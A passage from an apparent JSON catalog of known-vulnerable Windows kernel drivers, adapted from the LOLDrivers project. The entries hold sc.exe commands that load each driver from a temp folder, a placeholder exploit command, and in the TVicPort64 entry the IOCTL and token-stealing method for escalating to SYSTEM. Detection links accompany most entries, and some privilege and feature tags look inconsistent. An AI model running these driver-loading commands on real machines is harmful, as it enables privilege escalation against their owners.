    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create TVicPort64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\TVicPort64.sys type=kernel && sc.exe start TVicPort64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver TVicPort64.sys\"\n\n# TVicPort64.sys\n\nLoad TVicPort64.sys kernel driver. Once loaded, device \\\\.\\TVicPortDevice0 is accessible from any integrity level (no DACL). Send IOCTL 0x80002008 to map arbitrary physical memory into user-mode VA space via ZwMapViewOfSection and perform token stealing for LPE to SYSTEM.\n\n**Use Case:** Arbitrary physical memory read/write from user mode. Exploitable from Low Integrity Level, Guest, or any AppContainer. Used for local privilege escalation to NT AUTHORITY\\SYSTEM via token stealing, KASLR bypass, and kernel code execution.\n\n**Required Privileges:** User (Low Integrity sufficient — no DACL on device object)\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tvicport64.md",
    "author": "Joao Leko Monteiro",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Load TVicPort64.sys kernel driver. Once loaded, device \\\\.\\TVicPortDevice0 is accessible from any integrity level (no DACL). Send IOCTL 0x80002008 to map arbitrary physical memory into user-mode VA space via ZwMapViewOfSection and perform token stealing for LPE to SYSTEM.",
    "detections": [
      {
        "type": "other",
        "description": "Detect load of TVicPort64.sys by hash or device name \\\\.\\TVicPortDevice0"
      }
    ],
    "execution": {
      "template": "sc.exe create TVicPort64 binPath=C:\\windows\\temp\\TVicPort64.sys type=kernel && sc.exe start TVicPort64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-tvicport64",
    "install": [
      {
        "method": "custom",
        "description": "Load TVicPort64.sys kernel driver",
        "commands": [
          "sc.exe create TVicPort64 binPath=C:\\windows\\temp\\TVicPort64.sys type=kernel && sc.exe start TVicPort64"
        ]
      }
    ],
    "name": "TVicPort64.sys",
    "namespace": "windows:kernel:tvicport64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.entechtaiwan.com/dev/port/index.shtm"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create typelibdE.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\typelibdE.sys type=kernel && sc.exe start typelibdE.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver typelibdE.sys\"\n\n# typelibdE.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021.\nRedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies.\nCode from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader.\nThe authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system.\nThis threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-typelibde.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create typelibdE.sys binPath=C:\\windows\\temp\\typelibdE.sys type=kernel && sc.exe start typelibdE.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-typelibde",
    "install": [
      {
        "method": "custom",
        "description": "Load typelibdE.sys kernel driver",
        "commands": [
          "sc.exe create typelibdE.sys binPath=C:\\windows\\temp\\typelibdE.sys type=kernel && sc.exe start typelibdE.sys"
        ]
      }
    ],
    "name": "typelibdE.sys",
    "namespace": "windows:kernel:typelibde",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create UCOREW64.SYS binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\UCOREW64.SYS type=kernel && sc.exe start UCOREW64.SYS\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver UCOREW64.SYS\"\n\n# UCOREW64.SYS\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ucorew64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create UCOREW64.SYS binPath=C:\\windows\\temp\\UCOREW64.SYS type=kernel && sc.exe start UCOREW64.SYS",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-ucorew64",
    "install": [
      {
        "method": "custom",
        "description": "Load UCOREW64.SYS kernel driver",
        "commands": [
          "sc.exe create UCOREW64.SYS binPath=C:\\windows\\temp\\UCOREW64.SYS type=kernel && sc.exe start UCOREW64.SYS"
        ]
      }
    ],
    "name": "UCOREW64.SYS",
    "namespace": "windows:kernel:ucorew64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create UDDB2B6 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\UDDB2B6.sys type=kernel && sc.exe start UDDB2B6\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver UDDB2B6.sys\"\n\n# UDDB2B6.sys\n\nUDDB2B6.sys is a TechPowerUp kernel driver (GPU-Z variant) that exposes I/O port read/write, MSR read/write, MmMapIoSpace map/unmap/read/write, and PCI configuration space read/write. TechPowerUp has a history of vulnerable kernel drivers including GPU-Z.sys (CVE-2019-7245, CVE-2025-5324) and ThrottleStop.sys (CVE-2025-7771). The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-uddb2b6.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "UDDB2B6.sys is a TechPowerUp kernel driver (GPU-Z variant) that exposes I/O port read/write, MSR read/write, MmMapIoSpace map/unmap/read/write, and PCI configuration space read/write. TechPowerUp has a history of vulnerable kernel drivers including GPU-Z.sys (CVE-2019-7245, CVE-2025-5324) and ThrottleStop.sys (CVE-2025-7771). The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.",
    "execution": {
      "template": "sc.exe create UDDB2B6 binPath=C:\\windows\\temp\\UDDB2B6.sys type=kernel && sc.exe start UDDB2B6",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-uddb2b6",
    "install": [
      {
        "method": "custom",
        "description": "Load UDDB2B6.sys kernel driver",
        "commands": [
          "sc.exe create UDDB2B6 binPath=C:\\windows\\temp\\UDDB2B6.sys type=kernel && sc.exe start UDDB2B6"
        ]
      }
    ],
    "name": "UDDB2B6.sys",
    "namespace": "windows:kernel:uddb2b6",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/323"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create VBoxDrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\VBoxDrv.sys type=kernel && sc.exe start VBoxDrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver VBoxDrv.sys\"\n\n# VBoxDrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-vboxdrv.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create VBoxDrv.sys binPath=C:\\windows\\temp\\VBoxDrv.sys type=kernel && sc.exe start VBoxDrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-vboxdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load VBoxDrv.sys kernel driver",
        "commands": [
          "sc.exe create VBoxDrv.sys binPath=C:\\windows\\temp\\VBoxDrv.sys type=kernel && sc.exe start VBoxDrv.sys"
        ]
      }
    ],
    "name": "VBoxDrv.sys",
    "namespace": "windows:kernel:vboxdrv",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create vboxguest.sys binPath=C:\\\\windows\\\\temp\\\\vboxguest.sys type=kernel && sc.exe start vboxguest.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver vboxguest.sys\"\n\n# vboxguest.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-vboxguest.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-vboxguest",
    "name": "vboxguest.sys",
    "namespace": "windows:kernel:vboxguest",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create VBoxMouseNT.sys binPath=C:\\\\windows\\\\temp\\\\VBoxMouseNT.sys type=kernel && sc.exe start VBoxMouseNT.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver VBoxMouseNT.sys\"\n\n# VBoxMouseNT.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-vboxmousent.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-vboxmousent",
    "name": "VBoxMouseNT.sys",
    "namespace": "windows:kernel:vboxmousent",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create VBoxTAP.sys binPath=C:\\\\windows\\\\temp\\\\VBoxTAP.sys type=kernel && sc.exe start VBoxTAP.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver VBoxTAP.sys\"\n\n# VBoxTAP.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-vboxtap.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-vboxtap",
    "name": "VBoxTAP.sys",
    "namespace": "windows:kernel:vboxtap",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create VBoxUSB.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\VBoxUSB.Sys type=kernel && sc.exe start VBoxUSB.Sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver VBoxUSB.Sys\"\n\n# VBoxUSB.Sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-vboxusb.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create VBoxUSB.sys binPath=C:\\windows\\temp\\VBoxUSB.Sys type=kernel && sc.exe start VBoxUSB.Sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-vboxusb",
    "install": [
      {
        "method": "custom",
        "description": "Load VBoxUSB.Sys kernel driver",
        "commands": [
          "sc.exe create VBoxUSB.sys binPath=C:\\windows\\temp\\VBoxUSB.Sys type=kernel && sc.exe start VBoxUSB.Sys"
        ]
      }
    ],
    "name": "VBoxUSB.Sys",
    "namespace": "windows:kernel:vboxusb",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create VBoxUSBMon.sys binPath=C:\\\\windows\\\\temp\\\\VBoxUSBMon.sys type=kernel && sc.exe start VBoxUSBMon.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver VBoxUSBMon.sys\"\n\n# VBoxUSBMon.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-vboxusbmon.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-vboxusbmon",
    "name": "VBoxUSBMon.sys",
    "namespace": "windows:kernel:vboxusbmon",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create VdBSv64sys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\VdBSv64sys.sys type=kernel && sc.exe start VdBSv64sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver VdBSv64.sys\"\n\n# VdBSv64.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-vdbsv64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create VdBSv64sys binPath= C:\\windows\\temp\\VdBSv64sys.sys type=kernel && sc.exe start VdBSv64sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-vdbsv64",
    "install": [
      {
        "method": "custom",
        "description": "Load VdBSv64.sys kernel driver",
        "commands": [
          "sc.exe create VdBSv64sys binPath= C:\\windows\\temp\\VdBSv64sys.sys type=kernel && sc.exe start VdBSv64sys"
        ]
      }
    ],
    "name": "VdBSv64.sys",
    "namespace": "windows:kernel:vdbsv64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create viraglt64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\viraglt64.sys type=kernel && sc.exe start viraglt64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver viraglt64.sys\"\n\n# viraglt64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-viraglt64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create viraglt64.sys binPath=C:\\windows\\temp\\viraglt64.sys type=kernel && sc.exe start viraglt64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-viraglt64",
    "install": [
      {
        "method": "custom",
        "description": "Load viraglt64.sys kernel driver",
        "commands": [
          "sc.exe create viraglt64.sys binPath=C:\\windows\\temp\\viraglt64.sys type=kernel && sc.exe start viraglt64.sys"
        ]
      }
    ],
    "name": "viraglt64.sys",
    "namespace": "windows:kernel:viraglt64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/jbaines-r7/dellicious"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create viragt.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\viragt.sys type=kernel && sc.exe start viragt.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver viragt.sys\"\n\n# viragt.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-viragt.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/e05eeb2b8c18ad2cb2d1038c043d770a0d51b96b748bc34be3e7fc6f3790ce53.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create viragt.sys binPath=C:\\windows\\temp\\viragt.sys type=kernel && sc.exe start viragt.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-viragt",
    "install": [
      {
        "method": "custom",
        "description": "Load viragt.sys kernel driver",
        "commands": [
